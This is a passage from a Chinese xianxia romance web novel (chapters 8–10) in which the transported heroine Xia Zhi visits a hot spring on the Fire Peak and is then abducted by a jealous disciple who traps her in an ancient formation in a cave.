夏栀被他拽着袖子,一步三回头的望着,目光落在沈忘尘那瘦高挺拔的背影上,小声不确定道:“我们......就这么走了?”
“方才连老祖都不愿去,你居然还想去?火、水两位峰主素来不和,一见面轻则争执不休,重则当场动手,谁都不愿意多待片刻。我们能避开,已是老祖体恤。”温陵江笑了笑,脸上挂着几分劫后余生的轻松。
夏栀又悄悄回望了一眼。
白色的身影在晨光中渐渐远去,清冷孤高,不染俗尘。
她心口忽然流过一丝难以言喻的滋味,有点酸酸涩涩的。
手下意识地搓了搓,指缝间还残留着淡淡的触感,痒痒胀胀的,很不舒服,却又令她万般留恋。
等夏栀两人拐上了小路,消失在林间,池泠瑶才褪去脸上的笑意,带着点责备与担忧,压低声音问道:“小师叔怎么想的?那姑娘不过筑基,尚且年幼,你只与她结契,却不结道,岂不是害她?”
8. 第 8 章
山间清露坠在竹梢,风过处,碎成冰霰般的凉,混着新叶的嫩香,缠上衣袖,若隐若现。
就像沈忘尘给人的感觉
清淡
又寂寥
池泠瑶觉得,哪怕再过几百年,自己怕还是算不上真正认识过这个人。
他立在竹荫下,衣袍素净,一双无波无澜的眸子,不染俗尘。看得久了,便觉四周都浸着寒意,连山风都似躲着他走,只堪堪掀动衣角,转瞬又归于平静。
面对池泠瑶的质问,沈忘尘依旧神情寡淡,甚至未曾看她一眼,声线轻浅,没有半分起伏道:“吾此举只为救人,不图其他。”
她收回了探究的目光,挽起鬓边垂落的青丝,重重叹了口气:“唉!你这样做才是害她。将她架上高台,变成世人的眼中钉肉中刺,就算大家畏惧你不敢动她,于她将来呢?”
她上前一步,不客气的怨道:“结了契,她还如何与别人亲近?你以为谁都跟你一样清心寡欲?就连问剑宗,那些个修无情道的臭剑修,都没你这么寡淡!修仙路漫漫,放她一个小姑娘,怎么受的了?”池泠瑶眼底泛起怜惜。
“待她痊愈,吾会解誓,送她回家。”沈忘尘目不斜视地吐出这句话,语气淡得像在说一件无关紧要的小事。
“解?”池泠瑶被气笑,“你当天道是什么?修为再高也不能为所欲为,真当自己已经成仙了?还是以为她能脱离天道束缚?还想解......誓?”
然而话没说完,她像是突然想到了什么,惊恐的看着一脸平淡的沈忘尘,几欲张嘴都未能出声。
良久,才带着难以置信的惊愕,颤巍巍道:“不是吧?你、她不会真是......”
话音未落,她眼角余光扫到不远处,在前面领路的火峰弟子。
突然,池泠瑶眼神一凝,身形陡然跃至那名弟子身后,动作快到只剩残影。
趁那弟子不查,双指聚力,快准狠的按在他的后颈处,力道不重,却足以让那弟子瞬间软倒在地,失去了意识。
紧接着,她运起一缕灵力,点在他的百会穴上,淡蓝色的灵力沁入身躯。随后又手腕虚抬,指尖微微用力,一缕半透明的神思便被抽了出来,浮在她的指尖,泛着微弱的光。
沈忘尘就站在原地,面无表情的看着她的动作,缓缓吐出一句:“何必如此麻烦。”
池泠瑶手下未停,正色道:“比起这点麻烦,你才是最大的麻烦。”
她捏着那缕神思,仔细端详,捻动旋转,带起一丝微弱的灵息波动:“她若真是随你因果而来,不是此中人,那麻烦还大着呢!此等不受天道所束之身,可比与你同修的诱惑大多了!”
她一边说,一边时不时地从中抽出一小根极细的光线来,随手一丢:“你倒好,还敢在众人面前下誓,若是被有心人发现,她不知要死多少回!”光线一离开灵力的包围,便瞬间消散在空气中,连一丝痕迹都没留下。
阳光透过竹梢的缝隙,洒下斑驳的光影,落在她的发顶,垂落的发丝投下浅浅的阴影,遮住她的表情。
经过池泠瑶的几番挑拣,那缕神思才又被送回火峰弟子的身躯,融入他的识海之中。
沈忘尘无言地看着躺在地上的弟子,面容依旧淡漠,继而缓缓转头,目光投向夏栀离去的方向,似乎在思考这什么。
片刻后,周身蕴灵微微一动,悄然漫开,带着淡淡的香,向着那名弟子涌动。
白雾触及火峰弟子的皮肤,便瞬间钻入体内,他手指动了动,眼中渐渐恢复了光亮。下一秒,竟又直愣愣的站起身来,身上的赤色衣袍沾了些草屑。
那弟子眼神有些空洞,愣了片刻,才缓缓回过神,对着沈忘尘和池泠瑶恭敬地作揖,像是无事发生一般。
火峰弟子的神色似与先前别无二致,但细看之下,似乎又与先前有所不同。
另一边
温陵江领着夏栀左拐右穿,很快走到了一处平台前,此处视野宽敞开阔,脚下是光滑的青石板,四周没有过多的绿植,只有一些低矮灌木丛。
山间的晨雾淡了些,阳光洒下来,暖融融的。
远处是连绵的山脉,云雾缭绕,隐约间能看到山峰的轮廓。
温陵江站在台边,侧身对着夏栀,嘴角噙着笑意。他从腰间乾坤袋中,取出一块类似于陨的器物,凑到唇边,按住其上细密的纹路,轻轻吹响。
少顷,一声悠长低鸣自山间响起,低沉且空灵,清越中裹着苍凉,绵长不绝。那声音顺着风飘来,震得空气微微波动,连脚下的青石板都似有细微的震颤。
温陵江放下器物,语气轻快的解释道:“这是游哨,可以召唤碧游鲲。”
他话音未落,一阵强风突然席卷而来,带着淡淡的水汽,将未散的雾气吹了个干净。
夏栀被吹的睁不开眼,发丝狂舞,带着几份凉意,胡乱的缠在脸上。衣摆也被风吹得猎猎作响,她下意识的抬手挡在脸前,自缝中瞥见一抹巨大的身影,缓缓从云雾中浮现,向着他们所在的平台靠近。
那是一条巨大的鱼,足有一座凉亭那样大。
头似鲸确有角,身侧的两翼展开,宽大而轻薄,翼尾泛着碧蓝的荧光,划开云雾;尾部纤长,摆动间,碧蓝的光晕层层叠叠。
碧悠鲲虽然是游在空中,周身却浮着大大小小的七彩气泡,破裂时,溢出淡淡灵息,带着清甜的水汽,吸入肺腑,沁人心脾。
这景象太过震撼,引得夏栀张大了嘴巴,眼睛瞪的溜圆,良久才憋出一句:“卧槽”
它停靠在平台边上,巨大的身躯挡住了半边阳光,投下一片阴影。
温陵江率先一跃,身形轻巧的跳上它的翅翼,回身对着夏栀伸手道:“小心,我拉你上来。”
夏栀回过神,连忙伸手,借着温陵江的力道,有些笨重的爬了上去。
待两人坐稳当,碧游鲲才缓缓摆动尾巴,向着另一片云雾游了去。
视野瞬间开阔,风声竟不似在平台上的那般聒噪,变得温和又缓慢。
等适应了这感觉,夏栀才稍稍放松,转而开始好奇的摸摸这瞧瞧那。手掌划过碧悠鲲的鳞片,光滑而冰凉,像是在摸琉璃片。就连固定在鲲背的矮座,她也万分仔细的摸了又摸,瞧了又看。
温陵江盘着腿坐在她的身边,一手撑着下巴,饶有兴趣的看着她的小动作,眼底满是笑意,连嘴角都不自觉的翘了起来。
他静静看了良久,才缓缓开口道:“碧游鲲本是遨游天际的灵兽,性子温顺,喜静,远避尘嚣,能在此作为代步坐骑,也是多亏了池峰主的道侣纪宗主。”
他直起身看向远处山巅,继续说道:“听闻当年,纪宗主布下弥天大阵,将碧游鲲困在莲花山,又配合宗门善于驭兽的长老,特制了这游哨,才得以令这些庞然大物,按照既定的路线反复循游,听从调遣。从而方便我们这些个,不会御物,亦无专属坐骑的修士,在各峰之间行走。”
夏栀停下手中动作,侧头看着温陵江,打趣问道:“纪宗主,就是那位被池峰主,以房中术拿下的天衍阵宗的宗主?他也住这里吗?”
温陵江却敛起笑意,轻轻摇头,面上浮起一丝悲凉,语气也沉了几分:“纪宗主已经仙逝多年,如今天衍阵宗的宗主姓谢。”
夏栀赶忙捂着嘴巴,带着点自责,歉疚道:“抱歉,我……我不知道,不该这样打趣纪宗主。”她垂下头,心里满是懊悔。
“无妨,不知者无罪。”温陵江脸上又重新露出和煦的笑容,掩去悲凉,语气也恢复了温和,“我也未见过纪宗主,只从长辈口中,听闻了些他的过往。听说他曾经也是修仙界最耀眼的存在,更是与池峰主情投意合,只可惜天不遂人愿,终究没能长久相伴。”
夏栀抬起头,看着温陵江柔和的笑容,心里的愧疚感稍稍退去。
她想了想,连忙换了个话题,问到:“寒池在哪里?听起来似乎很冷的样子?”
虽
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说是去沐浴,但这名字听起来就有点美丽冻人。
温陵江看出了她的疑虑,笑了笑,语气轻快:“寒池在火峰上,名为寒池,其实并非如此,那里是一片藏在山中的温泉场,一点都不冷的。”
“温泉!”夏栀喜出望外,眼睛里闪着亮光,连声音都带着雀跃,“那怎么起这样一个名字?也太误导人了吧!”
她原本还担心会冷,没想到竟然是温泉,心中忐忑瞬间化为乌有,只剩下满心的期待。
“曾经有位长老,觉得这温泉叫火池太过燥热,专门起了这样的名字,说是好压风水。”温陵江笑着解释说。
转而,他神色又认真了些,继续道:“说起来,这寒池的温泉对你多有裨益。火峰灵源丰富,受灵脉滋养,温泉中蕴含浓郁灵力,更有不少珍惜草药生长于此。”
他思索片刻,接着道:“寒池周围,就有一种名为‘凝露’的灵草,其上绒毛是固本培元的好物,最是滋阴补阳。虽不好收集,却易随风飘散在空中,只需闻之,便有滋养身心的功效,对你身上的伤,有很大的好处。”
听他这么说,夏栀又无端想起沈忘尘来,心里微微一动,声音低了点,含糊着问到:“为什么感觉大家都很怕老祖呢?他虽然是冷漠了点,话也少,但看起来,也不凶呐?”
温陵江闻言,收起了笑意,抬起头,望着远处山峦。面上表情复杂,有敬畏,有惋惜,还带着几分不易察觉的恐惧,缓声道:“其实我也不懂,我入宗门不过几十年,关于老祖过往,全听师父所说。但大概,是与300年前的旷世之战有关。”
“旷世之战?”夏栀疑惑道。
温陵江收回目光,看向夏栀,神色变得认真,语气也沉了几分:“300年前,本该由天衍阵宗举行的祭天大典,最后竟变成了一场影响整个修仙界的大灾难。”他稍作停顿,双手微微攥紧,又道:“而老祖,是这场灾难中,唯一活下来的人。”
“是什么样的大灾难,都过去这么多年了,还令世人恐慌?”夏栀一边问,一边暗自思忖。
既然沈忘尘是唯一的幸存者,应当是受害者,从灾难中幸存下来的人,又怎么会引世人的惧怕呢?他看起来,也不像是会制造灾难的人。
温陵江却是惊诧的看着她,严肃问到:“你当真不知这大灾难?”
他疑惑的看着懵懂的夏栀,脸上显出怀疑的神色,继续道:“虽说确实有不少后生,并不知晓老祖的事迹。但这大灾难,波及了所有宗门,甚至连散修,都被牵扯其中,死伤无数,修仙界元气大伤,直到现在,都未能完全恢复。口口相传中,即便是孩童,也当知晓一二。”
夏栀闻言,心头一紧,知晓自己言多必失,可话已出口,再想收回,已是不可能。
她咬了咬下唇,不自觉的攥紧了手指,纠结片刻,最终还是无奈的坦然道:“我失忆了。醒来之后,从前的事情,都不记得了。”说罢,她慢慢低下了头,发丝垂在脸颊旁,遮住了情绪。
她并不是有意欺瞒,只是穿越这种事,说了也没人会信,反而更显得像是在隐藏什么阴谋似的。而说失忆,也并不全错,毕竟,醒来之前的记忆,她确实一无所知。
良久,温陵江都没有说话,空气中一片死寂,只有碧游鲲翅翼划过云雾的轻响。
夏栀垂着头,心里有些惶惶不安,手指不自觉的搓着,掌心渗出细汗,努力调整着呼吸,尽量让自己平静。
就在她以为温陵江还会继续追问的时候,一只温暖的手掌,轻轻揉了揉她的发顶,像是在安慰心神不宁的她。
温陵江带着几分歉意,柔声道:“抱歉,我并不是要责怪你,是我不该触及你的伤心事。以后有什么想知道的,都可以问我。”
他语气诚恳,满脸愧疚,眸中还带着些许怜惜。
夏栀脸颊微微发红,点了点头,再道:“谢谢你。”
碧游鲲缓缓停下了动作,摆了摆尾巴,停靠在了一片桃林前。
9. 第 9 章
不同于夏栀想象中烈火灼烧的焦热,赤火峰上桃色漫天,风一吹,卷起淡粉色的清甜浪涛。转瞬又如碎雪洒下,落在地上,铺成一片花海。
她伸手接住一片,绵软香甜,眼尾漾开笑意,满心雀跃都写在脸上。
温陵江跟在她身后,含笑介绍着:“这里是火峰的桃木崖,寒池便在这桃林深处。”
夏栀小心的踩在厚厚的花瓣上,碾起淡淡的香。她踮起脚尖,步子都放缓了些,生怕惊扰了这仙境一般的美。
风又起,花瓣落在发间,香气更浓,她忍不住打了个喷嚏,摸样娇俏。
没走多远,忽而有极轻的破空声自后方快速靠近,转瞬便至。
待两人察觉,那声音已然近在咫尺。
“啪——”
夏栀循声看去,只见身侧的温陵江,双手捂着屁股,耳根通红,脸上尽是窘迫。而他温润的掌心上,正覆着一只白皙嫩滑的手。
女子爽朗的笑声响起:“小气!许久未见,摸一下都不行?这位又是谁家的小妮子?”
来人是个身着红衣的飒爽女郎。
她一头红发高高束起,金色的发簪在阳光下闪着耀眼的光,眉眼间没有半分女子的娇柔,反而是英气勃发;似火的红衣,看似轻薄,却不暴露,衬得她身姿窈窕;腰间一条绘有星云纹样的黑色束带,更将她凹凸有致的身段展露无遗。
女子身形轻巧,忽而转身绕过温陵江,微微俯身,贴近夏栀,凑近她仔细的看着。
她眉眼弯弯,身上带着好闻的暖意,声音软了点,道:“小仙子这般惹人疼爱,姓甚名谁?是哪家仙长座下的弟子?来我火峰是有何事?莫不是来寻道侣的?”
温陵江见状,连忙上前一步,拦在两人中间,正色道:“楚师姐,我带夏姑娘来寒池疗伤,你休要举止狎昵。”说话时,他将夏栀拉至身后护住。
楚绯月眼睛一亮,像是想到了什么,身子又往前凑了凑,惊喜道:“夏?嗷!你便是那个新晋的尊夫人吧!生得这般水嫩,怪不得能偏得老祖青睐!”
夏栀被她看得浑身不自在,别扭的躲开她,不助的往温陵江身后藏。带着几分怯懦,礼貌回道:“楚姑娘好,叫我夏栀就行。”
眼看这楚绯月就要借着挑逗夏栀的劲,贴在自己身上,温陵江赶忙一把撑住楚绯月,却是又飞快的收回了手,转而拉住她,脸颊漫上薄红,急急阻拦道:“楚师姐,你莫要这么近,一会叫火峰主瞧见又要挨罚了!”
“哼!别想唬我,楚老头去你们木峰议事,一时半会儿可回不来,否则你们哪敢往桃木崖跑?”她甩开温陵江的手,脚步试探着往前挪,伸手想去拉夏栀,眼里满是好奇。
温陵江侧身,用身体挡住她不安分的手,带着点无奈和委屈,低声劝阻道:“谁知道此处有没有峰主的眼线,上回你调戏陆师弟,最后还不是我们受罚......”
闻言,楚绯月不再继续往前凑,抱臂立在原地,眉峰一蹙,声音也拔高了几分:“那次可不怪我!谁晓得金峰主把她宝贝徒弟护的那么紧!我瞧他练体差强人意,气息虚浮,不过是想帮帮他,指点几招,那老太婆就跳出来,当真吓人一跳!”
说着,她愤愤地一跺脚,扬起几片粉色桃瓣,旋即被风卷向路边。
温陵江无奈扶额,缓缓摇了摇头。
楚绯月转眼又喜笑颜开,摆了摆手,语气随意:“旧事不提!你们不是要去寒池嘛,我带夏栀过去,你回吧!”
话音落,她对着夏栀微微扬起下颌,俏皮的挑了下眉。
夏栀一听,求助地看向温陵江。
温陵江看着她,却有点不好意思,拍了拍她的肩,安慰道:“这个,我确实只能送你到寒池入口,再往深处,我不便入内。楚师姐在,倒是也好,至少不用担心会有其他弟子闯入。”他顿了顿,认真补充道,“楚师姐看似轻佻,实则性子不坏,还是可靠的,你别担心,尽管跟她去,我就在这里等你。”
楚绯月对着夏栀眨了眨眼,语气轻快的笑着说:“放心,我对漂亮的小仙子都很友好的!”
夏栀心知去寒池,比起温陵江,楚绯月自然更合适,但如果有选择的话,她只是想自己洗个澡的呀。
她深吸一口气,心有余悸的看了眼英姿飒爽的楚绯月,躬了躬身,讪讪地说道:“那就有劳楚姑娘了。”
一路上,楚绯月都在为夏栀介绍着火峰的情况,侃侃而谈,热情周到。
她指着路边的桃树,说道:“这里的桃树,可不普通。每一棵都吸收了火峰的灵息,花瓣能入药,枝干能炼器,就连结的桃子......嘶,这桃子没用,仅能果腹。”
她又指着远处隐约可见的山峰,语气里带着几分散漫:“那就是顶峰了,上面燃着千年不熄的灵火,楚老头平日里除了议事,就躲在顶峰炼器,无趣得很。”说话时,她撇了撇嘴,眼底情绪复杂。
夏栀跟在她身边,渐渐放松了些,不再像一开始那般紧张,偶尔会点点头,伸手摸一摸身边的桃枝,触感粗糙,却又带着淡淡的桃香。
楚绯月瞧着夏栀依旧紧绷的小脸,像是真的被自己吓得不轻,这才收敛了性子。脚步放缓,温和笑道:“当真是吓到你了?我性子就这样,爱闹,没有恶意的。”
说话时,她脸上的戏谑散去,满是真诚。
夏栀连忙摇了摇头道:“没有,就是觉得你跟池峰主有点像,都是很爽朗的人。”说着,她嘴角微微弯起,带上浅淡的笑意。
“哈哈哈哈!”
楚绯月却笑得前仰后合:“我可不敢与池峰主相比,她可是令楚老头都皱眉的女人!修为又高,辈分也高,细论起来,我们都当喊她一声师叔祖呢!”
夏栀逐渐被她的爽朗所感染,也慢慢放松了下来,不再刻意拘谨着,偶尔会主动问一两句宗门的事,楚绯月都一一解答,热情依旧,两人之间的气氛渐渐变得融洽。
风穿过桃林,卷着桃香,落在两人身上,衣袂轻扬,粉瓣沾身,摸样惬意。
不知不觉间,两人便走到了桃林深处。
路两旁的树木愈发茂密,枝桠交错,遮天蔽日,光影被树冠遮住了大半,落在地上,余留斑驳的光点。
随着二人的深入,渐渐弥漫起浓郁的水雾,朦胧了前方的景致,连空气都变得潮湿,带着点凉。
再往前走,雾气中隐约有一深色的巨物耸立,离得近了些,才看清,原是路旁立着块墨色的石碑,上面刻着“寒池”二字。
字中似有火焰在烧,却不是真的火,而是一缕缕朱红的流光,顺着笔锋缓缓游走,时明时暗,像沉睡在石中的灵脉,正沿着刻痕轻轻搏动。
越过石碑,再往前,便是一座雅致的小竹屋。
竹屋的门敞着,楚绯月大方的走了进去,回身对着夏栀招手:“到了!”
夏栀跟着走了进来,发现竹屋内空空如也,没有多余的陈设,只有两排竹椅摆在墙边,墙上挂着一排轻纱薄蔓的衣袍,颜色各异,质地轻薄,风一吹似是要化作灵雾消散一般。
楚绯月走上前,随手取下一件来,就在纱衣离开墙壁之时,原来挂衣服的地方,竟然又会凭空凝结出一件新的衣裳来,仿佛从未被取下过一般。
她将手中的月白纱衣丢给夏栀,爽快道:“换上吧!这是寒池专用的浴衣,能平衡水温,抵御池中过于充沛的灵息。否则,你这细皮嫩肉的,一进去就得被烫破了皮。”说话间,她已干脆利落的换上了一件黑色的纱衣,曼妙的身材若隐若现,英气中多了几分柔媚。
夏栀不好意思的低下头,不敢再看她。触及手中的衣料,轻柔的像是没有重量,她的脸颊瞬间红透了,抓着浴袍的手迟迟没有动作。
虽然以前也跟家人一起泡过温泉,可那时候大家都穿着泳衣,周围也都是相熟的人。可现在,要她跟刚认识不到一刻的人一起,即便同为女子,可依旧令她十分别扭。
更何况,那浴衣几乎就是半透明的,说是情.趣内衣,都不为过。
楚绯月看着她窘迫的摸样,广袖一扬,转身走向着屏风后的侧门,语气温和,体谅道:“夏姑娘且放心,这寒
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池今日不会再有其他人了。你若是怕我,我离你远些便是,要是想我了,唤一声我就过来。”说着,她已大步先行而去。
空荡的竹屋里,剩下了夏栀一人,她看了看手中纱衣,摩挲着上面奇怪的暗纹,最终还是没能抵御洗澡、泡温泉的诱惑,深吸一口气,抬手褪去身上的衣裙,换上了纱衣。
月白的纱衣若有似无得贴在身上,隐约可见肌肤的轮廓,她脸颊绯红,又羞又窘,连忙拢了拢胸前的纱,快步穿过竹屋,走向后门。
推开竹屋的后门,一股温热的水汽扑面而来。
映入眼帘的,是一片错落有致、大小不一的汤池,一条玉石子路穿梭其中,依山而上。这些汤池有些藏在树荫、灌木中,只露出一小片水面,泛着波光;有些避在凉亭、木栏之下,周围摆放着石凳,方便休憩。
忽闻远处传来哗哗的水声,清脆悦耳,似是有座瀑布,但水雾弥漫,能见度不足数丈,只能凭声音想像。
汤池的外围,隐约能看见温陵江提到过的药草,高高低低的藏在雾中,细嗅过去,还能闻到一股淡雅的清甜香气,格外宜人。
夏栀犹豫了片刻,她不敢往深处去,有些怕遇到楚绯月。虽说她的性格并不惹人生厌,相反还蛮讨人喜欢,可毕竟洗澡是很私人的事情,夏栀还是喜欢自己一个人享受。
当然她也不敢就在门口泡。
于是,夏栀沿着小路,找了个被茂密桃枝遮挡,位置较为隐蔽,却还能看到竹屋的小池,小心翼翼的坐了进去。
温热的泉水,恰到好处的暖着她疲累的身躯,浓郁的灵息缓缓渗入肌肤,浑身都透着一股舒畅。
她靠在石壁上,慢慢闭上了眼睛。
或许是太久没有这样放松过了,不知不觉间,夏栀便睡着了,呼吸均匀,脸颊泛着淡淡的红晕,样子舒适又惬意,没有了拘谨与不安。
不知过了多久,一阵轻微的水花声传来,她才缓缓睁开眼睛,慵懒的收了收略微发麻的脚。
接着,她便看到,楚绯月正大马金刀地坐在她的对面,黑色的纱衣紧贴在身上,胸前春色展露无疑。
夏栀瞬间清醒过来,连忙正襟危坐,下意识的拢了拢身上的纱衣,红着脸对她点头道:“楚姑娘,你什么时候过来的,我睡着了,不好意思。”
楚绯月露出一脸满足的笑容,眯着眼道:“无妨,夏姑娘睡得甜,我实在舍不得叫醒你,就坐在这儿多看了会。”
听她说完,夏栀大脑一片空白,脸更红了。
楚绯月见状,突然爽朗地笑了起来,一拍腿,溅起些许水花:“哈哈哈哈,不逗你啦!一直没听到你这边的声音,放心不下,就过来看看,我刚坐在这里,你就醒了。”
她笑着,仰起头,双臂搭在背后山石上,身子又往水中滑了几分,泉水刚刚遮住她澎湃的前胸,只露出肩膀与脖颈。
她舒缓地叹了一口气,满脸惬意。
沉默片刻,楚绯月突然看向夏栀,语气随意又带着点好奇,问道:“本以为能被老祖看中的,定会是个艳冠群芳、风韵十足的娘子。没想到你却嫩得像个小雏鸟,怎么样?和我们合欢宗的老祖结契,感觉如何?”她眼神玩味,面容上却无丝毫不坏好意的样子。
夏栀闻言,认真地想了想,没有丝毫掩饰,坦然地说道:“嗯,没什么特别的感觉。如果非要说的话,就是有点冷。”
没想到她会老实的回答,楚绯月却突然打趣不起来了,她转头看向别处,目光落在远处的水雾里,淡淡道:“其实,我没见过老祖。不止我,宗门里见过老祖的人,不足十分之一。他,就像一个活在传说里的人,神秘又强大。”
夏栀没有做声,楚绯月叹了口气,语气里的怅然浓了些,继续道:“那场巨变中,参与的人都死了,除了他。呵,我以为楚老头会恨他,但他没有。”
她的表情突然很悲伤,声音带着几分哽咽,低头看着水中的倒影,喃喃道:“就好像,他也忘记了,那些人是如何死在巨变中的一样,连同娘亲一起......被他遗忘。”
10. 第 10 章
夏栀冷汗岑岑,张了张嘴,想说些什么慰藉的话,却又不知该如何开口。
楚绯月却忽然满不在乎的摆了摆手,眼底的沉郁散尽,嘴角勾起一抹浅浅的笑,语气轻淡道:“抱歉,跟你说这些。”
她抬手拢了拢粘在肩头的红发,继续道:“过去的恩怨与你又有什么关系呢。被迫与那种人结契,你也是个可怜的受害者。”
说罢,她撑着石沿站起身来,纱衣轻扬,带起几缕水汽,转身往竹屋的方向走去。直到离得远了,才飘来一句:“我在门外等你。”
看着楚绯月的身影消失在竹屋门口,夏栀才微微松了口气,垮下了肩,软软的倚在池边的青石上,凉意透过衣料渗进来,压下几分燥热。
藏在水下的手无意识的摩挲着指缝,唇间轻溢出几个字:
“沈忘尘”
她垂着眼,手指拨弄着水面,泛起圈圈涟漪。
其实夏栀并不觉得沈忘尘是个坏人,相反的,对他的印象并不差。
他虽清冷寡言,对她却不错。夏栀不关心他曾经做过什么,更没有立场去探究、埋怨他的过往。她只是想能够在这个陌生的世界好好活下去,只是想找到回家的路。
等夏栀换好衣衫出来时,楚绯月正站在树下,伸手摘下一枝缀满花苞的桃枝。桃瓣随着她的动作簌簌落下,粘在发丝上,光影透过枝叶洒在她脸上,艳色中尽显柔和。
听到脚步声,她回过身来,递出桃枝,眉眼弯起,微笑道:“呐,繁花赠美人,粉黛施笑颜。”
夏栀滞了滞,小心接了过来。
桃枝握在手中,还残留着她的温热,顺着掌心漫进心底,趟过一丝异样的情绪。
两人下山的速度很快,没一会儿,便回到了之前与温陵江分手的地方,奇怪的是,他并不在此。
楚绯月走在前面,颇有微词道:“臭小子,信誓旦旦的说会等你,怎的就没影了?啧,靠不住。”
正埋怨着,前方路口站着的一位青衣仙子迎了上来。
她穿着与夏栀同款的衣裙,看着应当是妙木峰的弟子。
她向两人走来,立即躬身作揖,恭敬道:“楚师姐,夏姑娘。温师兄有要事,先行回去了,老祖吩咐我在这里接夏姑娘回峰。”说罢,她抬起头,直勾勾的看着夏栀。
楚绯月在一旁突然惊了一声,着急道:“这么快议完了?糟糕!师弟还在宝器阁代我领罚呢!楚老头回来,我俩都得完!”
话音未落,她已抽下发间丝带,手腕一扬,灵力附着其上,眨眼间丝带竟然幻化成一张一人多宽的锦布,飘在她身前。
楚绯月利落翻身而上,对着夏栀莞尔一笑:“夏夫人,下回再陪你赏花,可别再带温师弟那个不靠谱的了!”
话音渐远,锦布载着她,很快隐匿在桃林深处。
夏栀瞧着楚绯月匆忙离去的方向,嘴角微抬,她打心眼里喜欢她这热闹的性子。
身旁的青衣仙子不动声色的招出了一个巨大的葫芦,语气冷淡的催促道:“快走吧。”
夏栀没坐过这样的交通工具,紧张又拘束的伏在前面,生怕一个不小心跌下去。
青衣仙子坐在她身后,气息内敛,许久都未曾再开口。
两旁的山体飞速后退,风声在耳边呼啸,葫芦的速度比碧游鲲快了许多,夏栀抚摸着葫芦上泛着淡光的符文,心中有点不安。
眼前的景色愈发的陌生,山体渐矮,云雾也厚重了不少,白蒙蒙的一片,遮住了远处的景致,周围的温度也跟着降低了几分。
夏栀声音轻轻的,带着点疑惑问道:“这边,似乎不是去妙木峰的方向?”
身后的人纹丝不动,并未搭理她。
夏栀感受到身后的压迫感,心中不安愈发强烈。她刚想回头看,后脑却是传来一阵钝痛,接着眼前一黑,晕了过去。
不知过了多久,才艰难的睁开了眼,意识昏沉,潮湿的水汽混着淡淡的霉味萦绕鼻息。
她发现自己正狼狈的趴在地上,脸下是冰凉粗糙的石面。刚想撑着身子起来,双腿一用力,膝盖便传来一阵尖锐的刺痛,疼的她倒抽一口冷气,轻哼出口。
低头看去,不知何时,膝盖蹭掉了好大一片皮,血肉模糊,干涸的血迹黏在衣裙上,将原本干净的青衣染得斑驳,膝盖以下也被磨得破烂不堪,碎步粘在伤口上,一动就疼。
夏栀慢慢坐起身,轻轻拂去身上的灰尘,检查着腿上的伤,眉头皱起,鼓着嘴懊恼到:“才换的新衣服呢。”
说罢,抬起头,环顾四周。
眼下,她身处一片幽暗山洞中,洞内怪石嶙峋,尖锐的石笋从地面升起,墙面凹凸不平,渗出潮湿的水光。
夏栀坐着的地方是洞内正中央的石台,台面上刻着细密的暗纹,纹下似有灰黑色的灵光,隐而不发。
夏栀咬着唇,小心翼翼的伸出手,顺着纹路摸去,触及边缘,指尖像是被针扎一般,刺痛不止,疼的她额头沁出薄汗。
她又抬起手,向外伸去,刺痛再次传来,似乎有什么力量将她困在了这方平台上。
夏栀无奈的跌坐回去,轻轻抚着烂的不成样子的膝盖,伸长脖子,小心的往台子下方望。
石台四周,流水潺潺。前方只有一条极窄的小路,蜿蜒曲折地延伸向洞口的方向。
洞内空间并不算太大,倒是很空旷,除了这方石台,其余什么也没有。两侧各有一个耳室,却因为光线昏暗,无法看清其内陈设。
前方洞口处,更是被层层叠叠的藤蔓紧紧覆盖,叶片茂密,将洞口堵得严实,透不进一丝光亮。
夏栀低着头,小心的拨开粘在伤口上的碎步,疼的她“嘶”声不止。
正疑惑着那青衣仙子去了哪里,突然,从一侧耳室内传来她的声音,冰冷且带着敌意:“我劝你不要轻举妄动,这是上古遗留的困阵,不论修为多高,只要步入此阵,都将与凡人无异。”
夏栀循声望去,只见那青衣仙子,手中捏着一片发着绿光的叶片,从一侧耳室缓步走出。柔和的绿光印在她
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的脸上,显得她神色阴沉,满脸戾气,真的有种假扮密室逃脱NPC的既视感。
夏栀咽了口口水,认真问道:“我与你无冤无仇,为何这样对我?”
青衣仙子却突然笑了起来,笑声尖锐刺耳,癫狂道:“无冤无仇?哈哈哈哈!凭什么是你!你以为你是谁!不过是个来历不明的人,你有什么资格站在老祖身边!”
夏栀好像明白了,这人肯定是沈忘尘的迷妹!
青衣仙子还在那边碎碎念,越说越激动,音调也越来越高。
起初夏栀还大概能听明白,无非就是埋怨她勾引沈忘尘,占了本该属于她的位置。可到后面,她的话越说越乱,叨念着什么“情谊”“守护”“付出”之类的。
夏栀听的云里雾里,只能打起十二分精神,仔细听着,试图从她的话里找到点有用的信息,好想办法脱身。
“你以为老祖真的会看上你吗?做梦!”青衣仙子怒而抬手,一把捏碎了手中的光源,黑暗将她笼罩,声音却愈发清晰起来:“我等了他三百年!为他拜入合欢宗;为他炼媚术、重塑仙骨;为他日夜勤奋,不敢有丝毫松懈。我为他付出了多少?你呢!你付出过什么?凭什么与他结契!凭什么!”
之前并未仔细观察过这位仙子,听她这么一说,夏栀好奇的眯起眼睛,细细看去,洞中视野不佳,但勉强能看出她身形窈窕,面容姣好,确实有几分姿色,怪不得如此自信。
夏栀眼皮一跳,心里飞快的盘算着。
“都怪你!”青衣仙子激动的向前冲出几步,站在水池另一边,眼底满是怨毒。
“你有什么资格站在他身边!要是没有你,他定会注意到我,与我结道!是的!就是你!没有你就好了,你死!你给我死!”她的表情越来越癫狂,“我可以为他付出一切!陪他修炼,为他挡灾,我才该与他双修,同床共枕的人,就该是我!”
突然,她像是想到了什么,语气猛地一顿,眼底的癫狂散去了些,转而换上一抹委屈,肩膀微微颤抖,竟低声抽泣起来。
夏栀灵机一动,立刻将脸埋在臂弯中,也跟着哭了起来。
起初,青衣仙子并未在意,可随着夏栀越哭越大声,刻意装做难过,几乎是大喊着嚎啕不停,这才引起了她的注意。
她缓缓回过头,嫌恶的看着夏栀,眉间收紧,眼中还透着几分疑惑。
夏栀听到洞中只剩下自己嚎喊声,这才断断续续的诉说起来:“我知道自己不好,修为低微,长相丑陋......”她故意停顿了片刻,像是在压抑情绪,“可老祖,修为那样高深......是我鬼迷心窍,尽然用那东西引诱他,我只是想变强一点,变美一点......现在,后悔还有什么用!”
她妆模作样的又倒抽一声,转而怕在石台上,形状痛苦道:“当初,老祖想要那东西,我就应双手奉上,不该有丝毫非分之想啊!”
那青衣仙子果然被勾起了兴趣,急急向前探出身,厉声问道:“什么东西!老祖想要的是什么东西?”
11. 第 11 章
